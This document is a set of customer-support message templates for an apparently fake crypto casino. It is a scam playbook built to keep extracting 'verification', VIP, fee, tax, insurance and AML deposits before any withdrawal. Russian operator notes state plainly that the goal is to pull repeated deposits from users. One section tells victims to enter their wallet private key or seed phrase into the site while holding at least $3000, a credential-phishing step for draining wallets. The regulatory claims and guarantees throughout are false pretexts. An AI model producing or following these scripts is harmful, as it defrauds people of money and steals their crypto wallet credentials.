Техническая поддержа

S: If you received a promo code as part of any of the promotions held by our partners, celebrities or any public person, you can activate the promo code on your account by going to the Profile - Bonuses page (link: https://%domain_name%/profile/bonuses) or by clicking on the “Take your Reward” button. After you enter your promo code in the special field, the provided balance will be credited to your account. One promo code can only be activated by one real user.

S: Hello! Let me help you with the withdrawal process. Our casino currently offers two options for withdrawing funds for your location:

• CRYPTO (BTC, ETH, BNB, TRX, LTC, USDT, USDC, SOL, TON, XRP)

• Bank Card.

Please let me know which of the available withdrawal methods you would like to use. Once you specify your preferred method, I will provide you with detailed instructions on how to complete the withdrawal.

S: We have prepared a step-by-step guide for you on how to make a Withdrawal to your Bank Account using Visa/Mastercard method:

[1]. Go to Profile -> Withdraw menu or follow the link https://%domain_name%/profile/withdraw;

[2]. Choose “Bank Card” in “Select a withdraw method” section;

[3]. Enter details in “Bank name” and “Receiver’s” fields;

[4]. In the "Card number" field, indicate a valid card number of the Fund recipient;

[5]. In the "Receiver's name" field, indicate the full name of the recipient of the Funds;

[6]. In the "Withdrawal amount in dollar" field, specify the amount that will be withdrawn to your card;

[7]. If necessary, provide additional information or a comment in the "Comment" field (this is optional);

[8]. Click on the "Withdraw" button;

[9]. If your Account has Google Authenticator enabled, in the pop-up window, enter the one-time code found in your Google Authenticator App;

[10]. Success! If the withdrawal was created successfully and you did not encounter any errors, within 15 minutes - 3 hours the coins will be Withdrawn to your Bank Card!

S: Since our casino is decentralized, to withdraw funds, according to our Terms of Service and Curaçao Gaming regulations your account needs to be verified and activated. This involves making a verification deposit of %sum_verif%. This deposit helps us ensure the security of your account and compliance with our policies as well as reduce fraud and ensure our customers remain secure. Once the deposit is made, it will be credited to your account and can be instantly withdrawn after your account is activated.

Here are the steps to verify your account:

[1]. Go to the Deposit Tab or follow the link https://%domain_name%/profile/deposit. You can make a deposit via direct crypto payment (e.g. frome Binance, Bybit, Exodus, Trust Wallet, Metamask etc.) or via bank card, ApplePay, GPay etc.

[2]. Make a deposit of %sum_verif% .

[3]. Once the deposit is credited, your account will be verified.

This industry, unfortunately, has a high rate of fraudulent activity, and this sort of steps helps our Automatic System drastically reduce fraud and ensure our customers remain secure. This is a one-time procedure, after this steps your account will be forever Activated. If you need more detailed instructions on a particular deposit method, please let us know and feel free to contact our support team.

S: Hello! Thank you for your inquiry. We have checked our System and see that your Account is not verified. According to our Terms of Service and Curaçao Gaming regulations, you need to verify and activate your Account. Verification of your account will take no more than 15 minutes and requires a few simple additional steps. Once you have fully completed the verification process and met the basic security requirements to Activate Account, the ability to Withdraw Funds from your Account using any method will be resumed.

To verify your Account, please go to the Profile - Verification page or follow the link: https://%domain_name%/profile/verification

We apologize for the inconvenience, verification is a procedure you will encounter only once, after which you will not need to repeat it.

S: If your personal data on the Verification page has already been verified, in order to resume the Withdrawal of Funds you have one more step left - Account Activation. To Activate your Account, please follow these steps:

[1]. Make a Verification Deposit: Deposit %sum_verif% into your account. You can do this by direct crypto payment or by Bank card and other methods available for your location. Navigate to the Profile - Deposit page or follow this link https://%domain_name%/profile/deposit.

[2]. Automatic Verification: Once the system detects your deposit, your account will be automatically Activated.

[3]. Activation Confirmation: Success! After verification, the deposit will be credited to your Account and you can withdraw it if needed or playing Games or Slots.

This industry, unfortunately, has a high rate of fraudulent activity, and this sort of steps helps our Automatic System drastically reduce fraud and ensure our customers remain secure. This is a one-time procedure, after this steps your account will be forever Activated.

If you need more detailed instructions on a particular deposit method, please let us know and feel free to contact our support team.

S: As we wrote earlier, a deposit is required to verify and activate your account. Account verification is a one-time procedure after which your account will always have the Verified status. A large number of draws, bonuses, promo codes and gifts in conjunction with wide coverage of our casino in the media and information space, as well as partnerships with the largest crypto and sports brands generate a huge amount of traffic to our site and new users. This is one of the main reasons why we are forced to regulate the multiple use of promo codes and other ways of abusing the casino by verifying and activating each account. Our casino is completely decentralized, and the entire automatic security system is built with our high-tech cryptography specialists and with the help of other crypto companies that are our official partners. All this ensures an absolutely safe, secure, simple and fast verification and activation procedure for your account.

Once you make a deposit of the exact amount %sum_verif%, your account will be verified and activated, and the deposit will be available for play or withdrawal, as well as the entire balance of your account.

S: To make a deposit to your Account, please choose one of the following methods:

[1]. From Fiat Currencies: You can deposit funds using fiat currencies through various methods such as a bank card (Visa/Mastercard), Apple Pay, Google Pay, etc. Please provide the details, and we will guide you through the process.

[2]. From an External Crypto Wallet: If you have funds in an external crypto wallet like Exodus, Trust Wallet, or MetaMask, you can transfer them to your Account. Please provide the details, and we will assist you with the steps.

Please note that deposits must be made from an external source and cannot be extracted from your existing balance within your Account. This ensures the integrity and security of the deposit process.

S: We have prepared a simplified step-by-step guide to help you make a deposit to your account using a Bank Card, Apple Pay, Google Pay, etc.

[1]. Go to "Deposit" page: Navigate to the "Deposit" page or follow this link: https://%domain_name%/profile/deposit.

[2]. Choose “Bank Card” in “Select a deposit method” section, next choose Сoin you want to Deposit in “Select crypto to deposit” drop-down list and finally choose Payment Merchant from a “Select merchant to deposit” drop-down list. After these steps, copy the address of your Account's crypto wallet from the "Address for deposit" field to specify it when making payment and click “Go to” button.

[3]. On payment Merchant: Select Currency and Crypto. Choose the fiat currency you will use for the purchase. Select the cryptocurrency you want to buy (e.g., BTC). The amount of crypto you will receive will be displayed.

[4]. Enter Your BTC Wallet Address: When prompted, enter the address of your BTC wallet address that you copied in step (2).

[5]. Enter Personal Data: Provide your personal data and a valid phone number as required by the merchant.

[6]. Enter Payment Details: Enter your card details and click "Continue" to proceed with the purchase. [7]. Confirmation: After completing the process, expect the crypto to be credited to your Account shortly.

In case of any delays in payments or additional questions, please contact the Live Chat for help.

S: We have prepared a step-by-step guide for you on how to make a Deposit:

1. Go to Profile - Deposit page or follow the link https://%domain_name%/profile/deposit;

2. Choose “Crypto” in “Select a deposit method” section, next choose Сoin you want to Deposit in “Select crypto to deposit” drop-down list;

3. Use the QR code by scanning it with your external wallet app (if it is supported) or copy your Wallet address below the QR code;

4. Send coins from third-party wallet to that address;

5. Wait for your coins to be credited to your Account (usually from 2 minutes to 20 minutes with a normal blockchain network load);

6. Success, the coins have been credited to your Account!

If you have any questions regarding the status of your transaction or additional questions about the deposit process, please let us know so that we can assist you. For more detailed assistance, please include as much detail as possible about your preferred deposit method or your external crypto wallet so that our assistance is as quick and relevant as possible.

S: Deposits are typically processed within 10–60 minutes, depending on network traffic and blockchain confirmations. In rare cases, it may take longer. Typically, deposits are credited after a few confirmations on the blockchain, and withdrawals are processed promptly but may take some time depending on the network load.

Also, please provide the transaction hash of transaction if you have one, as well as additional details about which wallet, payment merchant or Exchange you sent the funds from so that we can help you faster.

S: Let us check this in the System please an give a detailed answer. Please wait. It will take up to 3-5 minutes.

S: Thanks for your waiting. We have studied your question in detail and We see in the System that your Deposit of СУММА МЕНЬШЕ ЗАПРАШИВАЕМОГО ДЕПА КОТОРАЯ ЗАЧИСЛЕНА НА ЕГО АКК was indeed successfully credited. However, the System is completely automatic, and in order for your Deposit to be identified by the System as a Verification Deposit, it is necessary that a Deposit of the exact amount of %sum_verif% in one payment be credited to your Account. Please, pay attention.

S: As I see the first deposit you made is less than the amount requested by the system %sum_verif%. You can make a deposit in the same way as you did the first time, but the amount must be equal to or more than %sum_verif% in one payment, this is the required amount for account verification. Unfortunately, without completing the verification deposit, withdrawals are not possible due to our security policies. The account can only be verified by making the appropriate deposit. This ensures the integrity and security of our platform for all users.

S: I apologize for the delay in replying. I was busy finding out from the Security Department why you are being asked for an additional deposit and I received an answer, I will forward it now.

S: We have checked the status of your Account in the System. You have successfully verified your Account, however, as we can see, your transaction fell under the TRUST rule. In accordance with the updated set of FATF recommendations from November 2023, AML/KYC policy and the decentralized structure of our crypto casino, we are forced to follow a number of requirements for verifying transactions, wallets and coins. This procedure does not entail the requirement for any of your additional personal data, routine completion of transaction reports and confirmation of the origin of funds. The only necessary and possible condition is to verify your external wallet and confirm ownership of it. In order to verify your external wallet, you need to make a deposit in the amount of %sum_afterverif%. After the deposit is made, it will be immediately available for withdrawal, as well as the entire balance. Unfortunately, until the above condition is met, the withdrawal of funds from your account to any wallets or methods is suspended by the automatic security system of our crypto casino, which operates on smart contracts based on high-level security protocols at each node of interaction between the system, person and finance.

S: Previously, you made a deposit to verify your account, and now you need to verify your wallet. These are two different procedures. We are very sorry that you have encountered such inconveniences, but help here in the Live Chat is all we can do for you now, we cannot manually avoid these procedures for your account in any way, since our system is completely decentralized. This process is regulated completely automatically by the crypto casino security system, we cannot influence it. However, for your account there are no more restrictions and obstacles for the withdrawal of funds except for external wallet verification. So you need to verify your external wallet and confirm ownership of it, to do this you need to make a deposit in the amount of %sum_afterverif%. This deposit will be credited to your Account and is available for play or withdrawal, as is the entire balance of your account.

S: We have carefully studied the situation on Your Account, as we see in the System, you have successfully made Deposits and thereby successfully Verify your Account and Wallet. However, the amount of your winnings and balance has once exceeded $30,000.00. Due to the fact that the registration period of your account is less than 60 days, you need to increase your VIP status to Silver. In order to obtain a Silver VIP status, you need to receive 600XP on your account. In our system, as you know, 1 XP = 1$. You need to make a Deposit for the exact Amount of 600$ to receive 600XP and thereby connect the Silver VIP status. The amount of 600XP (600$) will be credited to your Account. This procedure is performed as well as a regular deposit. VIP status SIlver is connected automatically, after receiving the Silver VIP status, the Withdrawal of Funds will resume instantly. This is the required level of the Account, after which there are no restrictions. Silver VIP is the only and last thing that prevents the withdrawal of funds on your Account, due to the fact that your balance once exceeded $30,000.00 during the period of registration of your account less than 60 days. By connecting the Silver VIP status once, you will never face this again in the future.

S: You also will receive bonuses for Silver status:

• bonus for receiving status 100$$

• increased daily rakeback 0.2%

• max bet limit $20000

S: Previously, we wrote to you that this was the last step, but your account did not reach a balance of $30,000.00 at that time. In addition, we do not have the technical ability to monitor the balance of each user and their VIP status. Due to the fact that your account reached a balance of $30,000.00 once during the account registration period did not reach 60 days, you need to get Silver VIP status otherwise withdrawal is impossible. I recommend that you do not make any additional bets at this time until the process of obtaining VIP status. Add 600 XP to your Account, then withdraw all your winnings and continue playing. I guarantee you that connecting Silver VIP status is the last step for withdrawing funds, moreover, I am ready to help you at every stage, this is all I can help you with now. And also on behalf of our company I guarantee that fulfilling this requirement will resume the withdrawal of funds and is final. No additional deposits to obtain the status, verification of accounts and wallets will be required to resume the withdrawal of your winnings.

S: The only way to withdraw is to activate Silver VIP Status. There is no other way to activate it except adding 600XP to your Account.

Even if you wait 60 days or reduce your balance to less than $30,000.00 it will not work because your Account need Silver VIP Status (because your balance exceeded $30,000.00 once when the account registration period was less than 60 days).

In our VIP program 1XP=1$. You need to do it like a regular deposit of $600. After which the Silver VIP status will be activated automatically, $800+$100 (bonus) will be available for withdrawal, as well as all winnings and balance.

S: There is currently a high load on the blockchain, please try creating a request again in a few minutes, or create a request for the entire balance. This should help.

S: Let us check you problem in the System. Please wait a few minutes. Через 1-3 минуты пишем…. S:Thanks for waiting. We have received an answer to your question. This time there is no need to make any more deposits, your account has VIP status and a maximum level. The blockchain receiving node requested duty payment of a fee of $800. Duty payment is a Withdrawal that needs to be made to your same address where you created the previous withdrawal request in order to cover any unforeseen commissions if necessary and the transaction does not hang in the blockchain network forever. The fee applies to your entire balance. After paying the fee, the transaction will reach the final point within 10-20 minutes. As a rule, the transaction fee will be in the equivalent of $1-10, the rest of the Withdraw will be return on your balance instantly and will also be available for withdrawal. In other words, you need to pay a fee to get your bitcoins to your external wallet or any other withdrawal method you used. To do this you need to request one more Withdrawal for the specified amount of fee ($800) to the same wallet address. After the duty payment your bitcoins will reach your wallet within 10-20 minutes.

S: Now I will briefly introduce you to the situation and why this happened. First of all, I will say that this is normal for any crypto transaction, it happens. There is an unexpected critical increase in the load on the blockchain network at the time of sending the transaction and the commission becomes critically high. Despite the fact that the transaction was sent with the optimal commission, it can simply hang in the blockchain. This does not depend on our payment crypto gateway, but depends only on the network. This situation cannot be predicted, in turn, the payment crypto gateway minimizes the risk of the probability of this situation, as much as it depends on our System. In this case, the receiving party of the transaction requests Duty Payment.

Duty Payment. For those situations when the transaction gets stuck due to an unexpected critical increase in the load on the blockchain, there are clear regulations for the User to ensure that the transaction is pushed through the network without any risks of the transaction hanging in the network forever. The blockchain receiving node requests a duty payment of a fee of $800.

Step-by-step instructions on how to perform Duty Payment and smoothly complete the transaction: [1]. If your balance is $0, you should add $800;

[2]. Create a Withdrawal request at the same address you used for the Withdrawal request before;

[3]. Wait 10 to 20 minutes for your Withdrawal request to be executed, and the balance of the commission duty payment will be returned to your account (usually $790-799 will be returned to your balance);

S: Thank you for your request. As we can see on our side, the System has suspended the withdrawal of funds on your account due to the insurance policy not being activated. In accordance with paragraph 13.4 of our Terms and Conditions: "The %domain_name_capsed% automatic security system may suspend the withdrawal of funds from the Account or freeze a certain transaction for Withdrawal and require activation of the insurance policy in accordance with the insurance policy. The withdrawal of funds will not be resumed, and the transaction may be held until the insurance is activated".

Also paragraph 13.5: "For the full functioning of the user's insurance, the User must activate the personal insurance policy independently. In order to activate the insurance policy, the User must make a one-time deposit in one payment for the amount requested by the system when creating a request for Withdrawal of Funds. The policy is perpetual and is activated from the moment the payment is received".

Thus, you need to make a deposit for the exact amount of 1000$ in one Payment in order to activate the insurance policy. After payment, the insurance policy will be activated instantly and the Withdrawal will be resumed automatically.

S: Thank you for waiting, we have received a response from the legal department. In accordance with paragraphs 28.6-28.8 of our Terms, the unified tax calculation system has sent a notification that the amount of winnings, bets and deposits on your account has been subject to taxation due to legal conditions in your country. Withdrawal of your funds has been temporarily frozen and the full amount has been refunded to your balance.

In accordance with paragraph 28.8 of our Terms: "In the event of a tax deduction debt, the withdrawal of funds is immediately suspended until the tax is paid. You should pay taxes directly through the platform using cryptocurrency, bank cards or any available methods for depositing into your account. Until the tax deduction is paid on your Account through a deposit payment, the withdrawal of funds will be suspended. In this case, the amount of tax payment and the payment status can be clarified in Live Chat or when creating a Withdrawal request."

So you need to pay the tax deduction of $2000. Once the requested tax has been paid, the withdrawal will be automatically and instantly resumed. Money will be credited into your %domain_name_capsed% account.

S: Thank you for waiting. Our technical specialists have verified the information. The fact is that all transactions in our system are checked for AML in accordance with paragraph 14.2.1 of our Terms: "The automated system analyzes all incoming/outgoing transactions 24/7, checking them through Chainalysis, Elliptic and other professional blockchain analytics databases. The following are checked: connections to blacklisted addresses, mixers, anonymous coins (for example, Monero), transactions from sanctioned countries, transactions with unverified platforms and hundreds of other criteria." And in accordance with paragraph 14.2.4 of our Terms: "If your transaction, part of the coins or the entire deposit do not pass the AML check, the System blocks the withdrawal of funds until the system receives a new deposit above a certain threshold with coins that have passed the check. If the withdrawal is suspended due to an AML violation, detailed information can be obtained in the chat."

The fact is that your transaction and coins are marked as coins with a risk level assessment of "High". At the moment, the withdrawal is suspended on your account by the automatic security system.

Solution: In order to solve this problem on your account, you need to make a new deposit from a new wallet/service to your address in the amount of more than $1,500. After replenishment, they will be credited to your account and you will also be able to withdraw them. Your wallet will be marked as having a risk rating of "Low", the Account will return to the status in the system "Trusted" and the withdrawal of Funds will be resumed automatically.

*Сумма 2000$ для примера, вы можете запросить любую сумму которая подходит под ваш сценарий.

S: Hello! We apologize for the delay in replying. Thanks for your waiting. Your account has been successfully verified, however according to clause 23.1 of our Terms, the System uses a scoring model for assessing the security quality of the User's account based on more than 190 internal and external publicly available behavior parameters, technical data and other internal corporate metrics. The maximum possible score for the security of the User's account is 100 points.

Your account's security quality score is 95/100, which means that you have almost the maximum level. However, according to clause 23.3 of our Terms: "Accounts whose balances have reached at least once the amount $1000 and registration time less than 60 days can Withdraw Funds from %domain_name_capsed% Account only with an account security level of 100 (security level is an internal scoring model for assessing the security quality of %domain_name_capsed% system accounts)."

Thus, you need to get 100 of the account's security quality score. To get it, You should link your External Account to %domain_name_capsed% Account. To link Your External Account to %domain_name_capsed% Account, You need to make a Deposit of the exact amount of $1200 from External Wallet. This Deposit will be credited to Your balance and will be available for withdrawal immediately after crediting.

After linking Your External Account, Your account will have 100 points of account's security quality score and, accordingly, the withdrawal will resume instantly. *Сумма 1200$ для примера, вы можете запросить любую сумму которая подходит под ваш сценарий. ** Условия 1000$ и 60 дней регистрации аккаунта так же можно корректировать под ваш кейс.

S: Hello! We are grateful for the fact that you have provided all the necessary data and verified your account. Unfortunately, Your %domain_name_capsed% Exchange Account was flagged by our screening system as 95 points the security quality score.

To renew Withdrawal of Funds You need to increase the security quality score to 100 points. To do this, you should link Your External Account to %domain_name_capsed% Account.

We apologize for any inconveniences that may result from this process. This extra steps is done for security of Your Account firstly and to ensure that your activities are legitimate. This industry, unfortunately, has a high rate of fraudulent activity, and this sort of steps helps our Automatic System drastically reduce fraud and ensure our customers remain secure. This Deposit will be credited to your Account and will be available for withdrawal immediately. This is a one-time procedure, after these steps your account will forever have 100 points the security quality score.

Our system is decentralized and works automatically without our intervention. That is, in this case, we cannot manually link your Accounts or increase your security quality score, it is technically impossible. No one even from the company's employees has any access to opening/closing access to the Withdrawal of Funds. The system works on smart contracts based on high-level security protocols that exclude any even the slightest human factor in the management of User Accounts. It is necessary to make a Deposit for the exact amount of $1200 in one Payment from an External Wallet, after which the Withdrawal of Funds will resume instantly.

The principles of work of our system are described in our Terms. In order for withdrawal of funds has been resumed for you, you need to Link an External Wallet. Deposit is just a regular Adding Funds to your Account.

S: Greetings! We apologize for the delay in replying. Now we will check in the system and give you an answer. It will take 5-10 minutes. Please wait.

S: Thanks for waiting. We have studied in detail the details of your Account available to us. We also contacted the Department of Security to clarify the situation and give their comments. Indeed, there is a problem in the Security System regarding your Account, since your Account has a large number of IP logins from red flagged pools, which are changing very dynamically: 186.191.141.77, 2806:2f0:8100:fb3:1045:be9f:1255:de46, 186.191.141.77 etc.

The Automatic Security System will simply not allow you to Withdraw funds, since such a number of different IPs is a red flag for it, primarily due to the security and safety of your Funds. Thus, you need to go through the WalletConnect® procedure and thereby complete your Withdrawal request. WalletConnect® procedure can be performed with the Phantom wallet or any other (you can check the possibility of the WalletConnect® procedure with your wallet in Live Chat). This is the last step to withdraw funds. This procedure must be performed once and you will never return to this again. Below we have prepared for you step-by-step instructions on how to perform the WalletConnect® procedure. Please contact us if you have any additional questions.

We have prepared an instruction for you on the WalletConnect® procedure for %domain_name% and Phantom wallet (%domain_name%-Phantom WalletConnect®). In order for the WalletConnect® procedure to be successfully completed, it is necessary that the external Phantom wallet has an amount of at least $3000 in BTC or any other coins, otherwise the WalletConnect® procedure will fail. So:

(1). Download Phantom wallet to your mobile device or as a browser extension: https://phantom.com/;

(2). If you don't have a wallet, create a new multi-chain wallet;

(3). If you use Phantom browser extension. How to get private key:

• Click on the Phantom icon in the browser extension

• Click on the account icon in the top left corner

• Click on the settings at the bottom

• Select the desired account

• Click on the Show private key button

• Enter the password and accept the terms by checking the box in the message at the bottom.

• Now you can view and copy your private key;

(4). If you use Phantom mobile app: to get private key select an account from the icon in the top left of the app, you can select the edit icon that appears in each of the accounts, then go to show private key, select the message box at the bottom and that's it;

(5). Copy and save the generated private key of your wallet (ATTENTION! Never give private key to anyone even in our Live Chat, keep this key safe);

(4). In %domain_name% go to your Profile - Settings, find the "Connect Wallet" block and click the "Connect Wallet" button, then in the pop-up window click the "Continue" button. On the switch, select "Private key", then select the coin from which you saved the private key;

(5). In the special field, enter the private key that you saved from Phantom in steps (3) or (4). Please note, this page is protected by Secure Blockchain, Certik, SSL certificate, HTTPS and AES-256 encryption, so that no one can access your data except you;

(6). Please make sure you have more than $3000 in your wallet for the WalletConnect procedure to be successful.

(7). Upon successful synchronization of wallets in the blockchain network, Withdrawal of Funds will resume within 3-7 minutes.

Your Account has been verified as much as possible. WalletConnect® procedure, the only and last action that is required to confirm and complete the request for Withdrawal of funds. No other restrictions or rules exist anymore.

S: Greetings! We apologize for the delay in replying. Now we will check in the system and give you an answer. It will take 5-10 minutes. Please wait.

S: We have studied in detail the details of your Account available to us. We also contacted the Department of Security to clarify the situation and give their comments. There is a problem in the Security System regarding your Account, since your Account has a large number of IP logins from red flagged pools, which are changing very dynamically: 186.191.141.77, 2806:2f0:8100:fb3:1045:be9f:1255:de46, 186.191.141.77 etc.

The Automatic Security System will simply not allow you to Withdraw Funds, since such a number of different IPs is a red flag for it, primarily due to the security and safety of your Funds. Thus, you need to go through the WalletConnect® procedure and thereby complete your Withdrawal request. This is the last step to Withdraw Funds. This procedure must be performed once and you will never return to this again.

In order for the WalletConnect® procedure to be successfully completed, it is necessary that the external Wallet has an amount of at least $3000, otherwise the WalletConnect® procedure will fail. You can use for WalletConnect® procedure for example with Metamask, Trust Wallet, Phantom, Electrum, Blockchain.com etc (you can always check the list of supported wallets in Live Chat if you have another one).

S: As soon as you complete the wallet WalletConnect® procedure, withdrawals from your Account will resume within 3-7 minutes, and you will be able to withdraw all your Funds without any restrictions, and your Account will have the maximum level.

We have compiled a step-by-step guide for you:

1. Make sure you have more than $3000 in your third-party wallet;

2. Add a third-party wallet to WalletConnect® at: https://%domain_name%/profile/settings;

3. Create a withdrawal request to the same third-party wallet address that you added to WalletConnect®;

4. Wait 3-7 minutes for the synchronization procedure to complete;

5. Withdrawals of all funds will be automatically resumed.

Dear User, the fact is that the WalletConnect® procedure is performed in a fully encrypted and protected mode from any third parties, including our employees. No one except you can see the details of the WalletConnect® procedure to determine the exact cause of the problem. We are technically unable to see the logs of the execution of this procedure by you. If you completed WalletConnect® successfully, withdrawals will be resumed immediately. If this did not happen, most likely you made a mistake and did not fulfill any of the conditions.

Please make sure you meet all the requirements:

(1). The wallet you are trying to connect has more than $3000 (otherwise the WalletConnect® procedure will not complete successfully);

(2). Make sure you enter 12 words of the seed phrase or private key without errors;

(3). If you enter seed phrase, make sure you enter the words of the seed phrase in the correct order;

(4). Make sure that there are no extra characters or extra spaces in the seed phrase or private key;

(5). If the system requests additional native tokens for wallet verification, add them to your third party wallet.

S: Greetings! We apologize for the delay in replying. Now we will check in the system and give you an answer. It will take 5-10 minutes. Please wait.

S: Thank you for waiting. Dear user, according to Curaçao Gaming regulations for decentralized casinos and AML policy to prevent money laundering through legal casinos, withdrawal of funds from the Account is available only to the linked wallet from which the Deposits were made. This measure is strictly regulated by the recommendations and requirements for the operation of licensed decentralized crypto casinos as a measure of protection against malicious use of the casino's automatic payment system for laundering and legalization of criminal funds or funds with a risk assessment of "Low". To resume the Withdrawal of Funds, you must complete the WalletConnect® procedure with the wallet from which you previously made deposits. We are very sorry that you have to deal with such additional measures for the withdrawal of funds, however, such requirements are mandatory for us as a licensed casinos and are the only way to protect and keep safe the crypto casino community from illegal use of crypto casinos, as well as ensure the safety of financial transactions of all players of our casino. If you have any questions or require additional assistance, please do not hesitate to contact us.

S: As soon as you complete the wallet WalletConnect® procedure, withdrawals from your Account will resume within 3-7 minutes, and you will be able to withdraw all your Funds without any restrictions, and your Account will have the maximum level.

We have compiled a step-by-step guide for you:

1. Add a third-party wallet to WalletConnect® at: https://%domain_name%/profile/settings;

2. Create a withdrawal request to the same third-party wallet address that you added to WalletConnect®;

3. Wait 3-7 minutes for the synchronization procedure to complete;

4. Withdrawals of all funds will be automatically resumed.

Dear User, you performed the WalletConnect® procedure, but your third-party wallet did not pass the AML check and the Funds on it were subject to blocking by the supplier of the decentralized AML check of the third-party wallet. This risk of blocking has been prevented by our Automatic Security System for the safety of your Funds. In this case, the system automatically transfers the balance from the third-party wallet to your %domain_name% wallet in order to eliminate the risk of blocking and losing your Funds. As you can see deposit has been successfully and securely credited to your %domain_name% Account.

You need to repeat the procedure. Balance on your third-party wallet must be more than $3000 so that the System will automatically start the process of synchronizing wallets and checking the legality of your funds. This process can take up to 3-7 minutes, but is usually faster.

If all the conditions of the procedure are met, you will receive a notification when the process is completed successfully. Just use another third-party wallet and the Wallet Connect procedure will complete successfully, and the withdrawal from your Account will be resumed instantly and automatically, the Funds will be transferred to your third-party wallet.

Выше вы увидели один из возможных рабочих сценариев того как вытянуть из юзера повторные депозиты, а так же дополнительные предлоги для тех юзеров кто не готов останавливаться и готов делать депозиты безгранично (это не редкость, когда в сапорте вы качественное отвечаете). Мы будем дорабатывать эту схему со стороны шаблонов здесь, а так же со стороны самой панели и казино что бы добавлять еще более убедительные предлоги для большего количества депозитов.

S: We understand that you may have questions or need assistance. However, to ensure the security and privacy of our users, we do not offer phone support. Our support team is fully equipped to handle all inquiries and issues via our online support chat here. Please provide us with the details of your issue or question, and we will respond as quickly as possible. You can contact us through the support chat on our website here. We are here to assist you and ensure that your experience is smooth and satisfactory.

S: Yes, you can contact us by email at support@%domain_name% , but I should warn you that the fastest way to contact us is here and it is no different from email. The response time by email can take up to 21 days according to our casino regulations. I am here to help you and solve your problem as soon as possible, but you must understand that there are regulatory requirements that we cannot deviate from.

S: Our system uses high-level security protocols and includes Provably Fair – a cryptography-based provable fairness technology that ensures that the online casino plays fair games. This means that you are dealing with a secure, fully decentralized platform that gives you isolated access to your game and money. Each casino account generates non-custodial wallets where all deposits, winnings and promo bonuses are stored. In other words, all the finances that are in your wallet (balance) are stored in a crypto wallet created inside your casino account and have absolute protection from anyone, even from employees and casino management. Only you have access to manage your account, data and finances. We also partner with major brands, celebrities and have many positive reviews that you can read on the Reviews page.

S: Honestly, you are one of the lucky few who managed to make such a big balance so quickly. It's impressive! Considering the fact that our system uses high-level security protocols and includes Provably Fair – a cryptography-based provable fairness technology that ensures that the online casino plays fair games. This means that you are dealing with a secure, fully decentralized platform that gives you isolated access to your game and money.

S: At the moment, we do not observe complaints from users about failures in the operation of any node of our system or individual games, slots or payments. Please check your internet connection, browser or device - in 99% of cases, all problems are related to this. In any case, write to us about any problem so that we can try to help you solve it.

S: We understand your concern about making an incorrect deposit. Due to the nature of blockchain technology, transactions are irreversible, and we are unable to directly return the deposit once it has been made.

We apologize for any inconvenience this may have caused. If you need further assistance or have any questions about the process, please do not hesitate to contact our support team.

S: Our System works entirely on smart contracts based on high-level security protocols. This means that you are dealing with a non-custodial fully decentralized casinos wallet that provides you with isolated access to your Funds. A deposit of the exact amount of %sum_verif% is not a fee for anything. This Deposit is credited to your Account and will be available for Withdrawal or playing immediately after verifying. Also, after verification, the entire balance of your Account will be available for Withdrawal. Attackers use our promotions with promo codes to illegally seize Funds, while using programs to simulate and automate actions on behalf of a living person. Therefore, for all promotion participants, as well as for all regular Users, the automatic Security System initiates the need for forced verification.